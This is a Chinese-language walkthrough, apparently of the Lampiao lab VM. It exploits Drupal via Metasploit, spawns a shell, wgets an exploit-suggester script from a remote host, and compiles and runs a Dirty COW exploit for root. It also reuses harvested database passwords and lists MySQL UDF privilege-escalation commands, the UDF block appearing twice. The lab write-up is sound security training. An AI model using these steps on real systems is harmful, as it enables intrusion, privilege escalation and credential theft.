003-Lampiao:Drupal+内核提权
文章目录
1.nmap端口扫描
- 发现目标主机ip:192.168.2.136
- 目标开放三个端口:22是ssh服务,80一般是开放web但这里点进去和用目录扫描都没有发现什么,这里1898端口才是主要的web服务开放窗口
2.端口信息收集
访问1898端口,在最下方发现,清楚网站是通过Drupal搭建(还有很多方法判断,详见这篇blog:https://zhuanlan.zhihu.com/p/427402088)
然后重点对1898进行dirb目录扫描:
得知是通过Drupal搭建,我们也通过droopescan扫描一下(可以通过sudo ln -s ~/soft/droopescan/droopescan /usr/bin/droopescan指令建立符号链接到/usr/bin,以后需要使用droopescan,就不需要进入相应目录了,直接输droopescan即可)
3.Metasploit寻找利用exp
-
找到8个利用exp
-
经过筛选和测试编号为1的exp能够成功
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'Virgulino' WITH GRANT OPTION;
4.反弹shell
-
设置参数,运行msf,建立会话
-
通过python得到交互式shell
命令:python -c ‘import pty; pty.spawn(“/bin/bash”)’
5.初级shell信息收集
-
提权信息收集脚本
通过meterpreter上传本地文件到靶机
赋予执行权限并运行
-
简单对发现的suid权限指令进行suid提权,以失败告终
-
发现了mysql 5.5.50版本信息,后续可以尝试mysql提权
-
发现内核系统信息:
Linux version 4.4.0-31-generic (buildd@lgw01-01) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016
ubuntu 14版本较老存在内核提权可能
-
-
内核提权漏洞寻找脚本
通过wget远程下载文件(wget http://ip/find/suggester1/linux-exploit-suggester.sh)到靶机/tmp目录赋予执行权限并运行(注意:运行sh脚本可以通过sh xxx.sh指令或者./xxx.sh,建议两种都尝试一下,有些环境可能只支持其中的一种方式运行sh文件)
发现挺多可以测试的漏洞的
-
Drupal配置文件
前文显示网站存在mysql数据库,而一般Drupal配置数据库的文件一般保存在/sites/default/settings.php,我们找到该文件打开
- 获得drupaluser账户的密码
- 这应该只是一个普通的账户,不够可能存在密码复用的可能(或许可以通过该密码登录mysql的root账户,或者该系统的root用户或普通用户的密码就是这个,又或者drupal后台管理员的密码是这个),后续可以展开测试
6.内核漏洞提权
通过对信息的收集我们先选择概率最高的内核漏洞对系统进行提权测试。
脚本扫描发现可以测试的漏洞挺多的,可以一个个测试过去,或者挑几个有名的进行测试,这里我选择了dirtycow 2的ext-url链接下的exp进行提权,下载exp到/tmp目录,并查看利用说明
- 通过file发现这是一个c++编写的exp,打开该文件
- 执行g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil获得编译文件
- ./dcow -s 运行编译后文件获得root权限
开始提权
7.得到flag
其他:mysql方向的提权测试
1.密码复用测试
-
ssh连接测试
账户寻找
- 发现存在root账户,还有一个用户名为tiago的普通用户
连接测试
- 发现数据库密码和tiago用户的ssh登录密码复用
-
数据库连接测试
指令:
//mysql用户登录 mysql -u 用户名 -p enter password: xxxxx //当前用户权限展示 select * from mysql.user where user = substring_index(user(), '@', 1)\G; //查看可导出文件位置 show variables like '%secure%'; //确定mysql文件安装位置 select @@basedir as basePath from dual ; show variables like '%basedir%';
登录配置文件中的drshow variables like ‘%secure%’;upaluser账户
- 展示用户权限命令被拒,drupaluser只是普通用户,后续可以尝试对该用户进行提权
尝试登录root账户(密码复用)
- 测试成功,两个用户使用的密码是一样的成功登录mysql root账户
- 可以尝试通过mysql udf进行提权(不过实战情况linux系统,mysql用户或web用户一般无plugin目录的写入权限)
-
登录页连接测试
通过查询drupal库中的users表发现两个用户tiago和Eder和其账户密码(md5编码)
通过访问网站主页也可以发现这两个用户(通过文章发布的信息)
尝试以Virgulino密码登录以失败告终,不过我们是可以通过破解MD5登录这两个用户的
2.mysql udf提权测试
1.寻找udf提权.c脚本,这里我们选择1518.c脚本
2.gcc编译相应.c脚本为.so后缀脚本(linux环境编译成.so):gcc 1518.c -shared -fPIC -o 1518.so
3.上传相应脚本到/tmp:wget获取或通过meterpreter本地上传
udf提权指令:
1.登录数据库:
mysql -u root -p
Enter password: xxxxxxxx
2.新建一个表pass,用来存放本地传来的udf文件的内容
create table pass(line blob);
3.在新建的表中中写入udf文件(/tmp/1518.so)内容
insert into pass values(load_file('/tmp/1518.so'));
4.把表中的udf文件内容输出到mysql的udf存储路径(不同系统,不同版本mysql可能不一样)
select * from pass into dumpfile '/usr/lib/mysql/plugin/1518.so';
5.导入udf文件
create function do_system returns integer soname '1518.so';
6.执行命令,命令可以自定义,这里是给了find suid特殊权限配合提权
select do_system('chmod u+s /usr/bin/find');
7.退出数据库
exit
4.尝试提权
udf提权指令:
1.登录数据库:
mysql -u root -p
Enter password: xxxxxxxx
2.新建一个表pass,用来存放本地传来的udf文件的内容
create table pass(line blob);
3.在新建的表中中写入udf文件(/tmp/1518.so)内容
insert into pass values(load_file('/tmp/1518.so'));
4.把表中的udf文件内容输出到mysql的udf存储路径(不同系统,不同版本mysql可能不一样)
select * from pass into dumpfile '/usr/lib/mysql/plugin/1518.so';
5.导入udf文件
create function do_system returns integer soname '1518.so';
6.执行命令,命令可以自定义,这里是给了find suid特殊权限配合提权
select do_system('chmod u+s /usr/bin/find');
7.退出数据库
exit
- /plugin目录未给写入权限提权失败